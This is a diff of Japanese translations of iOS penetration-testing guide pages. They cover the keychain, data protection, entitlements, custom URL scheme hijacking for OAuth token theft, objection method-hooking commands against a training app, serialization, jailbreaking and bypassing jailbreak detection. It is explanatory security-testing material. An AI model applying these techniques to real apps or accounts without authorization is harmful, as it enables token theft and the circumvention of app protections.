- **完全保護 (NSFileProtectionComplete)**: デバイスがユーザーのパスコードでロック解除されるまでデータにアクセスできません。 - **完全保護 (NSFileProtectionComplete)**: デバイスがユーザーのパスコードでロック解除されるまでデータにアクセスできません。
- **オープンでない限り保護 (NSFileProtectionCompleteUnlessOpen)**: デバイスがロックされていても、デバイスがロック解除されたときにファイルが開かれていた場合はファイルにアクセスできます。 - **オープンでない限り保護 (NSFileProtectionCompleteUnlessOpen)**: デバイスがロックされていても、デバイスがロック解除されたときにファイルが開かれていた場合はファイルにアクセスできます。
@ -34,7 +34,7 @@ python filedp.py /path/to/check
iOSでは、**キーチェーン**は**機密情報**を保存するための安全な**暗号化コンテナ**として機能し、それを保存したアプリケーションまたは明示的に許可されたアプリケーションのみがアクセスできます。この暗号化は、iOSによって生成されたユニークな**パスワード**によって強化されており、それ自体は**AES**で暗号化されています。この暗号化プロセスは、ユーザーのパスコードとデバイスの**UID**から派生したソルトを組み合わせる**PBKDF2関数**を利用しています。このUIDは、**セキュアエンクレーブチップセット**のみがアクセスできるコンポーネントです。そのため、ユーザーのパスコードが知られていても、キーチェーンの内容は元々暗号化されたデバイス以外のどのデバイスでもアクセスできません。 iOSでは、**キーチェーン**は**機密情報**を保存するための安全な**暗号化コンテナ**として機能し、それを保存したアプリケーションまたは明示的に許可されたアプリケーションのみがアクセスできます。この暗号化は、iOSによって生成されたユニークな**パスワード**によって強化されており、それ自体は**AES**で暗号化されています。この暗号化プロセスは、ユーザーのパスコードとデバイスの**UID**から派生したソルトを組み合わせる**PBKDF2関数**を利用しています。このUIDは、**セキュアエンクレーブチップセット**のみがアクセスできるコンポーネントです。そのため、ユーザーのパスコードが知られていても、キーチェーンの内容は元々暗号化されたデバイス以外のどのデバイスでもアクセスできません。
**キーチェーンデータの管理とアクセス**は、`Keychain-access-groups``application-identifier`などの特定のアプリ権限に基づいて**`securityd`デーモン**によって処理されます。 キーチェーンデータの**管理とアクセス**は、`Keychain-access-groups``application-identifier`などの特定のアプリ権限に基づいて**`securityd`デーモン**によって処理されます。
### **キーチェーンAPI操作** ### **キーチェーンAPI操作**
@ -68,7 +68,7 @@ iOSでは、**キーチェーン**は**機密情報**を保存するための安
### **キーチェーンデータの持続性** ### **キーチェーンデータの持続性**
アプリがアンインストールされると削除されるアプリ固有のデータとは異なり、**キーチェーンデータはデバイスに残ります**。この特性により、中古デバイスの新しい所有者がアプリを再インストールすることで、前の所有者のアプリケーションデータにアクセスできる可能性があります。開発者は、このリスクを軽減するために、アプリのインストール時またはログアウト時にキーチェーンデータを積極的にクリアすることを推奨します。以下は、アプリの初回起動時にキーチェーンデータをクリアする方法を示すSwiftコードの例です アプリがアンインストールされると削除されるアプリ固有のデータとは異なり、**キーチェーンデータは**デバイス上に持続します。この特性により、中古デバイスの新しい所有者がアプリを再インストールするだけで前の所有者のアプリケーションデータにアクセスできる可能性があります。開発者は、このリスクを軽減するために、アプリのインストール時またはログアウト時にキーチェーンデータを積極的にクリアすることを推奨します。以下は、アプリの初回起動時にキーチェーンデータをクリアする方法を示すSwiftコードの例です
```swift ```swift
let userDefaults = UserDefaults.standard let userDefaults = UserDefaults.standard
@ -84,7 +84,7 @@ userDefaults.synchronize() // Forces the app to update UserDefaults
アプリ開発の領域において、**サンドボックス**はセキュリティを強化する上で重要な役割を果たします。このプロセスは、各アプリが独自のホームディレクトリ内で動作することを保証し、他のアプリのシステムファイルやデータにアクセスすることを防ぎます。これらの制限の施行は、**Trusted BSD (MAC) Mandatory Access Control Framework**の一部であるサンドボックスポリシーを通じて行われます。 アプリ開発の領域において、**サンドボックス**はセキュリティを強化する上で重要な役割を果たします。このプロセスは、各アプリが独自のホームディレクトリ内で動作することを保証し、他のアプリのシステムファイルやデータにアクセスすることを防ぎます。これらの制限の施行は、**Trusted BSD (MAC) Mandatory Access Control Framework**の一部であるサンドボックスポリシーを通じて行われます。
開発者は、**データ保護**や**キーチェーン共有**など、アプリに対して特定の**機能や権限**を設定することができます。これらの権限は、アプリがインストールされた直後に適用されます。ただし、特定の保護されたリソースにアクセスするためには、アプリが最初の試行時にユーザーから明示的な同意を得る必要があります。これは、ユーザーに権限リクエストアラートで提示される_目的文字列_や_使用説明文字列_を使用することで達成されます。 開発者は、**データ保護**や**キーチェーン共有**など、アプリに対して特定の**機能や権限**を設定することができます。これらの権限は、アプリがインストールされた直後に適用されます。ただし、特定の保護されたリソースにアクセスするためには、アプリが最初の試行時にユーザーから明示的な同意を得る必要があります。これは、ユーザーに権限リクエストアラートで提示される_目的文字列_や_使用説明文字列_を使用することで実現されます。
ソースコードにアクセスできる場合、`Info.plist`ファイルに含まれる権限の確認は以下の手順で行えます: ソースコードにアクセスできる場合、`Info.plist`ファイルに含まれる権限の確認は以下の手順で行えます:
@ -118,7 +118,7 @@ IPAファイルを扱う場合、以下の手順を実行できます
## Entitlements ## Entitlements
**Entitlements**は、iOSアプリ開発のもう一つの重要な側面であり、アプリがランタイムチェックを超えて特定の操作を実行するための権限を付与するキーと値のペアとして機能します。たとえば、アプリで**Data Protection**を有効にするには、Xcodeプロジェクトに特定の権限を追加する必要があり、これはアプリの権限ファイルまたはIPA用の埋め込まれたモバイルプロビジョンファイルに反映されます。 **Entitlements**は、iOSアプリ開発のもう一つの重要な側面であり、アプリがランタイムチェックを超えて特定の操作を実行するための権限を付与するキーと値のペアとして機能します。たとえば、アプリで**Data Protection**を有効にするには、Xcodeプロジェクトに特定の権限を追加する必要があり、これがアプリの権限ファイルまたはIPAの埋め込まれたモバイルプロビジョンファイルに反映されます。
# References # References

View File

@ -6,7 +6,7 @@
カスタムURLスキームは、アプリがカスタムプロトコルを使用して通信することを可能にします。詳細は[Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1)に記載されています。これらのスキームはアプリによって宣言され、アプリはそのスキームに従って受信したURLを処理します。**すべてのURLパラメータを検証し**、**不正なURLを破棄する**ことが重要です。このベクターを通じた攻撃を防ぐためです。 カスタムURLスキームは、アプリがカスタムプロトコルを使用して通信することを可能にします。詳細は[Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1)に記載されています。これらのスキームはアプリによって宣言され、アプリはそのスキームに従って受信したURLを処理します。**すべてのURLパラメータを検証し**、**不正なURLを破棄する**ことが重要です。このベクターを通じた攻撃を防ぐためです。
例として、URI `myapp://hostname?data=123876123` が特定のアプリケーションアクションを呼び出します。注目すべき脆弱性はSkype Mobileアプリにあり、`skype://`プロトコルを介して許可されていない通話アクションを可能にしました。登録されたスキームは、アプリの`Info.plist``CFBundleURLTypes`にあります。悪意のあるアプリケーションは、URIを再登録することで機密情報を傍受することができます。 例として、URI `myapp://hostname?data=123876123` が特定のアプリケーションアクションを呼び出します。注目すべき脆弱性はSkype Mobileアプリにあり、`skype://`プロトコルを介して許可されていない通話アクションを可能にしました。登録されたスキームは、アプリの`Info.plist``CFBundleURLTypes`にあります。悪意のあるアプリケーションは、URIを再登録することで機密情報を傍受することができます。
### アプリケーションクエリスキームの登録 ### アプリケーションクエリスキームの登録
@ -20,7 +20,7 @@ iOS 9.0以降、アプリが利用可能かどうかを確認するために、`
``` ```
### URL処理と検証のテスト ### URL処理と検証のテスト
開発者は、`application:didFinishLaunchingWithOptions:``application:openURL:options:`など、URLパスの構築と検証を理解するためにソースコードの特定のメソッドを調査する必要があります。例えば、TelegramはURLを開くためにさまざまなメソッドを使用しています 開発者は、`application:didFinishLaunchingWithOptions:``application:openURL:options:`など、URLパスの構築と検証を理解するためにソースコードの特定のメソッドを査する必要があります。例えば、TelegramはURLを開くためにさまざまなメソッドを使用しています
```swift ```swift
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool { func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
self.openUrl(url: url) self.openUrl(url: url)
@ -50,7 +50,7 @@ return true
### 非推奨メソッドのテスト ### 非推奨メソッドのテスト
`application:handleOpenURL:``openURL:`のようなURLオープニングを処理する非推奨メソッドは、特定してセキュリティへの影響をレビューする必要があります。 `application:handleOpenURL:``openURL:`のようなURLオープニングを扱う非推奨メソッドは、特定してセキュリティへの影響をレビューする必要があります。
### URLスキームのファジング ### URLスキームのファジング
@ -64,10 +64,10 @@ Opened URL: iGoat://?contactNumber=0&message=0
``` ```
## カスタムURLスキームのハイジャック ## カスタムURLスキームのハイジャック
[**この投稿**](https://evanconnelly.github.io/post/ios-oauth/)によると、悪意のあるアプリは**他のアプリのカスタムスキームを登録**することができ、その後、悪意のあるアプリは[ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters)を使用してSafariアプリのすべてのクッキーを持つブラウザを開くことができます。&#x20; [**この投稿**](https://evanconnelly.github.io/post/ios-oauth/)によると、悪意のあるアプリは**他のアプリのカスタムスキームを登録することができ、**その後、悪意のあるアプリは[ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters)を使用してSafariアプリのすべてのクッキーを持つブラウザを開くことができます。&#x20;
悪意のあるアプリはブラウザを使用して攻撃者が制御するウェブページを読み込み、TCCはモバイルユーザーにそのアプリを開くための権限を求めます。次に、悪意のあるウェブページは被害者ページにリダイレクトする可能性があり、例えば`prompt=none`というパラメータを持つOAuthフローです。ユーザーがすでにOAuthフローにログインしている場合、OAuthフローは被害者アプリケーションに秘密を被害者アプリのカスタムスキームを使用して送します。\ ブラウザを使用して、悪意のあるアプリは攻撃者が制御するウェブページを読み込み、TCCはモバイルユーザーにそのアプリを開くための権限を求めます。次に、悪意のあるウェブページは、例えば`prompt=none`パラメータを持つOAuthフローにリダイレクトすることがきます。ユーザーがすでにOAuthフローにログインしている場合、OAuthフローは被害者アプリケーションに秘密をカスタムスキームを使用して送します。\
しかし、悪意のあるアプリもそれを登録しており、使用されるブラウザが悪意のあるアプリ内にあるため、この場合カスタムスキームは悪意のあるアプリによって処理され、OAuthトークンを盗むことができるようになります。 しかし、悪意のあるアプリもそれを登録しており、使用されるブラウザが悪意のあるアプリ内にあるため、この場合カスタムスキームは悪意のあるアプリによって処理され、OAuthトークンを盗むことが可能になります。
## 参考文献 ## 参考文献

View File

@ -65,7 +65,7 @@ react_native_image_picker org.cocoapods.react-native-image-picker 2.
[..] [..]
``` ```
- `memory list modules`: メモリ内のロードされたモジュールをリストする - `memory list modules`: メモリロードされたモジュールをリストする
```bash ```bash
memory list modules memory list modules
@ -127,7 +127,7 @@ AAAttestationSigner
[...] [...]
``` ```
- `ios hooking search classes <search_term>`: 文字列を含むクラスを検索する。メインアプリパッケージ名に関連するユニークな用語を検索して、アプリの主要なクラスを見つけることができます。 - `ios hooking search classes <search_term>`: 文字列を含むクラスを検索する。メインアプリパッケージ名に関連するユニークな用語を検索して、アプリの主要なクラスを見つけることができます。例:
```bash ```bash
ios hooking search classes iGoat ios hooking search classes iGoat
@ -191,7 +191,7 @@ ios hooking search methods cvv
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
``` ```
## 単一メソッドをフックする ## 単一メソッドをフックする
- `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: 特定のクラスのメソッドをフックし、呼び出されるたびにパラメータ、バックトレース、戻り値をダンプする - `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: 特定のクラスのメソッドをフックし、呼び出されるたびにパラメータ、バックトレース、戻り値をダンプする

View File

@ -1,14 +1,14 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
コードと詳細情報は[https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)にあります。 Code and more information in [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
## iOS開発におけるオブジェクトシリアライゼーション ## iOS開発におけるオブジェクトシリアル化
iOSにおいて、**オブジェクトシリアライゼーション**は、オブジェクトを簡単に保存または送信できる形式に変換し、必要に応じてこの形式から再構築することを含みます。主に2つのプロトコル、**`NSCoding`**と**`NSSecureCoding`**が、Objective-Cまたは`NSObject`のサブクラスに対してこのプロセスを容易にし、オブジェクトを**`NSData`**にシリアライズできるようにします。この形式はバイトバッファをラップします。 iOSにおいて、**オブジェクトシリアル化**は、オブジェクトを簡単に保存または送信できる形式に変換し、必要に応じてこの形式から再構築することを含みます。主に2つのプロトコル、**`NSCoding`**と**`NSSecureCoding`**が、Objective-Cまたは`NSObject`のサブクラスに対してこのプロセスを容易にし、オブジェクトを**`NSData`**にシリアル化できるようにします。この形式はバイトバッファをラップします。
### **`NSCoding`**の実装 ### **`NSCoding`**の実装
`NSCoding`を実装するには、クラス`NSObject`から継承するか、`@objc`としてマークされる必要があります。このプロトコルは、インスタンス変数のエンコードとデコードのために2つのメソッドの実装を義務付けています `NSCoding`を実装するには、クラス`NSObject`から継承するか、`@objc`としてマークされる必要があります。このプロトコルは、インスタンス変数のエンコードとデコードのために2つのメソッドの実装を義務付けています
```swift ```swift
class CustomPoint: NSObject, NSCoding { class CustomPoint: NSObject, NSCoding {
var x: Double = 0.0 var x: Double = 0.0
@ -25,9 +25,9 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
} }
} }
``` ```
### **`NSSecureCoding`によるセキュリティの強化** ### **`NSSecureCoding`を使用したセキュリティの強化**
攻撃者が既に構築されたオブジェクトにデータを注入する脆弱性を軽減するために、**`NSSecureCoding`**は強化されたプロトコルを提供します。`NSSecureCoding`に準拠するクラスは、デコード中にオブジェクトの型を検証し、期待されるオブジェクト型のみがインスタンス化されることを保証する必要があります。ただし、`NSSecureCoding`安全性を強化しますが、データを暗号化したり、その整合性を保証したりするものではないため、機密情報を保護するための追加の対策が必要です。 攻撃者が既に構築されたオブジェクトにデータを注入する脆弱性を軽減するために、**`NSSecureCoding`**は強化されたプロトコルを提供します。`NSSecureCoding`に準拠するクラスは、デコード中にオブジェクトのタイプを検証し、期待されるオブジェクトタイプのみがインスタンス化されることを保証する必要があります。ただし、`NSSecureCoding`タイプの安全性を強化しますが、データを暗号化したり、その整合性を保証したりするものではないため、機密情報を保護するための追加の対策が必要です。
```swift ```swift
static var supportsSecureCoding: Bool { static var supportsSecureCoding: Bool {
return true return true
@ -53,13 +53,13 @@ var name: String
``` ```
このアプローチは、プロパティリストとJSONへのシンプルなシリアル化をサポートし、Swiftアプリケーションにおけるデータ処理を強化します。 このアプローチは、プロパティリストとJSONへのシンプルなシリアル化をサポートし、Swiftアプリケーションにおけるデータ処理を強化します。
## JSONおよびXMLエンコーディングの代替 ## JSONXMLエンコーディングの代替
ネイティブサポートを超えて、いくつかのサードパーティライブラリがJSONおよびXMLのエンコーディング/デコーディング機能を提供しており、それぞれに独自のパフォーマンス特性とセキュリティ上の考慮事項があります。特に、外部エンティティ処理を防ぐためにパーサーを構成することで、XXEXML外部エンティティ攻撃のような脆弱性を軽減するために、これらのライブラリを慎重に選択することが重要です。 ネイティブサポートを超えて、いくつかのサードパーティライブラリがJSONおよびXMLのエンコーディング/デコーディング機能を提供しており、それぞれに独自のパフォーマンス特性とセキュリティ上の考慮事項があります。特に、外部エンティティ処理を防ぐためにパーサーを構成することで、XXEXML外部エンティティ攻撃のような脆弱性を軽減するために、これらのライブラリを慎重に選択することが重要です。
### セキュリティ上の考慮事項 ### セキュリティ上の考慮事項
データをシリアル化する際、特にファイルシステムに対しては、機密情報が含まれる可能性に注意を払うことが不可欠です。シリアル化されたデータは、傍受されたり不適切に処理されたりすると、アプリケーションを不正な操作やデータ漏洩といったリスクにさらす可能性があります。セキュリティを強化するために、シリアル化されたデータの暗号化と署名が推奨されます。 データをシリアル化する際、特にファイルシステムに対しては、機密情報が含まれる可能性に注意を払うことが重要です。シリアル化されたデータは、傍受されたり不適切に処理されたりすると、アプリケーションを不正な操作やデータ漏洩といったリスクにさらす可能性があります。セキュリティを強化するために、シリアル化されたデータの暗号化と署名を推奨します。
## 参考文献 ## 参考文献

View File

@ -6,8 +6,8 @@
**プロビジョニングアイデンティティ**は、Apple開発者アカウントに関連付けられた公開鍵と秘密鍵のコレクションです。**アプリに署名する**には、**99$/年**を支払って**Apple Developer Program**に登録し、プロビジョニングアイデンティティを取得する必要があります。これがないと、物理デバイスでソースコードからアプリケーションを実行することはできません。これを行う別のオプションは、**脱獄デバイス**を使用することです。 **プロビジョニングアイデンティティ**は、Apple開発者アカウントに関連付けられた公開鍵と秘密鍵のコレクションです。**アプリに署名する**には、**99$/年**を支払って**Apple Developer Program**に登録し、プロビジョニングアイデンティティを取得する必要があります。これがないと、物理デバイスでソースコードからアプリケーションを実行することはできません。これを行う別のオプションは、**脱獄デバイス**を使用することです。
Xcode 7.2以降、Appleは**無料のiOS開発プロビジョニングプロファイル**を作成するオプションを提供しており、これにより実際のiPhoneでアプリケーションを作成およびテストできます。_Xcode_ --> _Preferences_ --> _Accounts_ --> _+_資格情報に新しいアプリIDを追加--> _作成したApple IDをクリック_ --> _Manage Certificates_ --> _+_Apple Development--> _Done_\ Xcode 7.2以降、Appleは**無料のiOS開発プロビジョニングプロファイル**を作成するオプションを提供しており、これにより実際のiPhoneでアプリケーションを作成およびテストできます。_Xcode_ --> _Preferences_ --> _Accounts_ --> _+_あなたの資格情報で新しいAppli IDを追加--> _作成したApple IDをクリック_ --> _Manage Certificates_ --> _+_Apple Development--> _Done_\
\_\_次に、iPhoneでアプリケーションを実行するには、まず**iPhoneにコンピュータを信頼させる必要があります。**その後、_Xcodeからモバイルでアプリケーションを実行しようとできますが、エラーが表示されます。_Settings_ --> _General_ --> _Profiles and Device Management_ --> 信頼されていないプロファイルを選択し、"**信頼**"をクリックします。 \_\_次に、iPhoneでアプリケーションを実行するには、まず**iPhoneにコンピュータを信頼させる必要があります。**その後、_Xcodeからモバイルでアプリケーションを実行しようとできますが、エラーが表示されます。_Settings_ --> _General_ --> _Profiles and Device Management_ --> 信頼されていないプロファイルを選択し、"**Trust**"をクリックします。
**同じ署名証明書で署名されたアプリケーションは、キーチェーンアイテムのように安全にリソースを共有できます**。 **同じ署名証明書で署名されたアプリケーションは、キーチェーンアイテムのように安全にリソースを共有できます**。
@ -23,7 +23,7 @@ Xcode 7.2以降、Appleは**無料のiOS開発プロビジョニングプロフ
最初に知っておくべきことは、**シミュレーター内でのペンテストは、脱獄デバイスで行うよりもはるかに制限される**ということです。 最初に知っておくべきことは、**シミュレーター内でのペンテストは、脱獄デバイスで行うよりもはるかに制限される**ということです。
iOSアプリを構築およびサポートするために必要なすべてのツールは、**Mac OSでのみ公式にサポートされています**。\ iOSアプリを構築およびサポートするために必要なすべてのツールは、**Mac OSでのみ公式にサポートされています**。\
Appleの事実上のツールは、iOSアプリケーションを作成/デバッグ/インスツルメントするための**Xcode**です。これを使用して、**シミュレーター**やアプリを構築および**テスト**するために必要なさまざまな**SDK** **バージョン**などの他のコンポーネントをダウンロードできます。\ Appleの事実上のツールは、iOSアプリケーションを作成/デバッグ/インスツルメントするための**Xcode**です。これを使用して、**シミュレーター**やアプリを構築および**テスト**するために必要なさまざまな**SDK** **バージョン**をダウンロードできます。\
**公式アプリストア**からXcodeを**ダウンロード**することを強くお勧めします。他のバージョンにはマルウェアが含まれている可能性があります。 **公式アプリストア**からXcodeを**ダウンロード**することを強くお勧めします。他のバージョンにはマルウェアが含まれている可能性があります。
シミュレーターのファイルは`/Users/<username>/Library/Developer/CoreSimulator/Devices`にあります。 シミュレーターのファイルは`/Users/<username>/Library/Developer/CoreSimulator/Devices`にあります。
@ -37,7 +37,7 @@ Appleの事実上のツールは、iOSアプリケーションを作成/デバ
### Applications in the Simulator ### Applications in the Simulator
`/Users/<username>/Library/Developer/CoreSimulator/Devices`内には、すべての**インストールされたシミュレーター**が見つかります。エミュレーターの1つ内で作成されたアプリケーションのファイルにアクセスしたい場合、**どのエミュレーターにアプリがインストールされているかを知るのは難しい**かもしれません。**正しいUIDを見つける**ための簡単な方法は、シミュレーターでアプリを実行し、次のコマンドを実行することです: `/Users/<username>/Library/Developer/CoreSimulator/Devices`内には、すべての**インストールされたシミュレーター**が見つかります。エミュレーターの1つ内で作成されたアプリケーションのファイルにアクセスしたい場合、**どのエミュレーターにアプリがインストールされているかを知るのが難しい**ことがあります。**正しいUIDを見つける**ための簡単な方法は、シミュレーターでアプリを実行し、次のコマンドを実行することです:
```bash ```bash
xcrun simctl list | grep Booted xcrun simctl list | grep Booted
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted) iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
@ -52,22 +52,22 @@ UIDがわかれば、その中にインストールされているアプリは`/
Corelliumは唯一の公開されているiOSエミュレーターです。これは、ユーザーごとのライセンスモデルを持つ企業向けSaaSソリューションであり、トライアルライセンスは提供されていません。 Corelliumは唯一の公開されているiOSエミュレーターです。これは、ユーザーごとのライセンスモデルを持つ企業向けSaaSソリューションであり、トライアルライセンスは提供されていません。
## ジェイルブレイク不要 ## ジェイルブレイク不要
**非ジェイルブレイクデバイス**でiOSアプリケーションをペンテストする方法についてのブログ記事をチェックしてください: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) **非ジェイルブレイクデバイス**でiOSアプリケーションをペンテストする方法についてのブログ記事をチェックしてください: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
## ジェイルブレイキング ## ジェイルブレイキング
Appleは、iPhone上で実行されるコードが**Appleによって発行された証明書で署名されている必要がある**と厳格に要求しています。**ジェイルブレイキング**は、OSによって設けられたそのような制限や他のセキュリティコントロールを**回避する**プロセスです。したがって、デバイスがジェイルブレイクされると、アプリがインストールされているかを確認する**整合性チェック**がパッチされ、**バイパスされます**。 Appleは、iPhone上で実行されるコードが**Appleによって発行された証明書で署名されている必要がある**と厳格に要求しています。**ジェイルブレイキング**は、OSによって設けられたそのような制限や他のセキュリティコントロールを**回避する**プロセスです。したがって、デバイスがジェイルブレイクされると、アプリがインストールされる際の**整合性チェック**がパッチされ、**バイパスされます**。
> [!NOTE] > [!NOTE]
> Androidとは異なり、iOSではデバイス上で未署名/信頼されていないコードを実行するために「開発者モード」に切り替えることは**できません**。 > Androidとは異なり、iOSではデバイス上で未署名/信頼されていないコードを実行するために「開発者モード」に切り替えることは**できません**。
### Androidのルート化とiOSのジェイルブレイキング ### Androidのルート化とiOSのジェイルブレイキング
しばしば比較されますが、Androidの**ルート化**とiOSの**ジェイルブレイキング**は根本的に異なるプロセスです。Androidデバイスのルート化は、**`su`バイナリをインストールする**か、**ルート化されたカスタムROMでシステムを置き換える**ことを含む場合があり、ブートローダーがアンロックされていれば必ずしもエクスプロイトを必要としません。**カスタムROMのフラッシュ**は、ブートローダーをアンロックした後にデバイスのOSを置き換え、時にはエクスプロイトを必要とします。 しばしば比較されますが、Androidの**ルート化**とiOSの**ジェイルブレイキング**は根本的に異なるプロセスです。Androidデバイスのルート化には、**`su`バイナリのインストール**や**ルート化されたカスタムROMへのシステムの置き換え**が含まれることがありますが、ブートローダーがアンロックされていれば必ずしもエクスプロイトを必要としません。**カスタムROMのフラッシュ**は、ブートローダーをアンロックした後にデバイスのOSを置き換え、時にはエクスプロイトが必要です。
対照的に、iOSデバイスはブートローダーがApple署名のイメージのみをブートする制限のため、カスタムROMをフラッシュすることができません。**iOSのジェイルブレイキング**は、未署名のコードを実行するためにAppleのコード署名保護を回避することを目的としており、Appleの継続的なセキュリティ強化によって複雑化しています。 対照的に、iOSデバイスはブートローダーがApple署名のイメージのみをブートするよう制限されているため、カスタムROMをフラッシュすることはできません。**iOSのジェイルブレイキング**は、未署名のコードを実行するためにAppleのコード署名保護を回避することを目的としており、Appleの継続的なセキュリティ強化によって複雑化しています。
### ジェイルブレイキングの課題 ### ジェイルブレイキングの課題
@ -84,17 +84,17 @@ iOSの更新は**チャレンジレスポンスメカニズム**SHSH blobs
### ジェイルブレイキングツールとリソース ### ジェイルブレイキングツールとリソース
ジェイルブレイキングツールはiOSのバージョンデバイスによって異なります。[Can I Jailbreak?](https://canijailbreak.com)、[The iPhone Wiki](https://www.theiphonewiki.com)、および[Reddit Jailbreak](https://www.reddit.com/r/jailbreak/)などのリソースは最新の情報を提供します。例としては: ジェイルブレイキングツールはiOSのバージョンデバイスによって異なります。[Can I Jailbreak?](https://canijailbreak.com)、[The iPhone Wiki](https://www.theiphonewiki.com)、および[Reddit Jailbreak](https://www.reddit.com/r/jailbreak/)などのリソースは最新の情報を提供します。例としては:
- A7-A11チップデバイス用の[Checkra1n](https://checkra.in/)。 - [Checkra1n](https://checkra.in/)はA7-A11チップデバイス用
- iOS 15.0-16.5のCheckm8デバイスA8-A11用の[Palera1n](https://palera.in/)。 - [Palera1n](https://palera.in/)はiOS 15.0-16.5のCheckm8デバイスA8-A11
- iOSバージョン14.8までの[Unc0ver](https://unc0ver.dev/)。 - [Unc0ver](https://unc0ver.dev/)はiOSバージョン14.8まで対応
デバイスを変更することにはリスクが伴い、ジェイルブレイキングは慎重に行うべきです。 デバイスを変更することにはリスクが伴い、ジェイルブレイキングは慎重に行うべきです。
### ジェイルブレイキングの利点とリスク ### ジェイルブレイキングの利点とリスク
ジェイルブレイキングは**OSによって課せられたサンドボックスを解除**し、アプリがファイルシステム全体にアクセスできるようにします。この自由により、未承認のアプリのインストールやより多くのAPIへのアクセスが可能になります。しかし、一般ユーザーにとって、ジェイルブレイキングは**推奨されません**。セキュリティリスクやデバイスの不安定さがあるためです。 ジェイルブレイキングは**OSによって課せられたサンドボックスを解除**し、アプリがファイルシステム全体にアクセスできるようにします。この自由により、未承認のアプリのインストールやより多くのAPIへのアクセスが可能になります。しかし、一般ユーザーにとって、ジェイルブレイキングは**推奨されません**。セキュリティリスクやデバイスの不安定さがあるためです。
### **ジェイルブレイキング後** ### **ジェイルブレイキング後**
@ -106,7 +106,7 @@ basic-ios-testing-operations.md
**いくつかのアプリケーションは、モバイルがジェイルブレイクされているかどうかを検出し、その場合アプリケーションは実行されません** **いくつかのアプリケーションは、モバイルがジェイルブレイクされているかどうかを検出し、その場合アプリケーションは実行されません**
- ジェイルブレイク後、iOSの**ファイルとフォルダが通常インストールされます**。これらを検索してデバイスがジェイルブレイクされているかを判断できます。 - ジェイルブレイク後、iOSの**ファイルとフォルダが通常インストールされます**。これらを検索してデバイスがジェイルブレイクされているかどうかを判断できます。
- ジェイルブレイクされたデバイスでは、アプリケーションが**サンドボックスの外の新しいファイルに対して読み書きアクセスを得ます** - ジェイルブレイクされたデバイスでは、アプリケーションが**サンドボックスの外の新しいファイルに対して読み書きアクセスを得ます**
- 一部の**API** **呼び出し**は**異なる動作をします** - 一部の**API** **呼び出し**は**異なる動作をします**
- **OpenSSH**サービスの存在 - **OpenSSH**サービスの存在
@ -114,11 +114,11 @@ basic-ios-testing-operations.md
**ジェイルブレイキングを検出する方法についての詳細情報**は[**こちら**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**。** **ジェイルブレイキングを検出する方法についての詳細情報**は[**こちら**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**。**
**objectionの**`ios jailbreak disable`を使用してこの検出を回避することができます。 この検出を回避するために、**objectionの**`ios jailbreak disable`を使用することができます。
## **ジェイルブレイク検出バイパス** ## **ジェイルブレイク検出バイパス**
- **objectionの**`ios jailbreak disable`を使用してこの検出を回避することができます。 - この検出を回避するために、**objectionの**`ios jailbreak disable`を使用することができます。
- ツール**Liberty Lite**をインストールすることもできますhttps://ryleyangus.com/repo/)。リポジトリが追加されると、アプリは「検索」タブに表示されるはずです。 - ツール**Liberty Lite**をインストールすることもできますhttps://ryleyangus.com/repo/)。リポジトリが追加されると、アプリは「検索」タブに表示されるはずです。
## 参考文献 ## 参考文献

View File

@ -4,7 +4,7 @@
# UIActivity Sharing Simplified # UIActivity Sharing Simplified
iOS 6以降、サードパーティアプリケーションは、Appleの[Inter-App Communication guide](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3)に記載されているように、AirDropなどのメカニズムを使用して、テキスト、URL、画像などの**データを共有**することが可能になりました。この機能は、「共有」ボタンと対話することで表示されるシステム全体の_共有アクティビティシート_を通じて現れます。 iOS 6以降、サードパーティアプリケーションは、Appleの[Inter-App Communication guide](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3)に記載されているように、AirDropなどのメカニズムを使用して**データ**テキスト、URL、画像などを**共有**できるようになりました。この機能は、「共有」ボタンと対話することで表示されるシステム全体の_共有アクティビティシート_を通じて現れます。
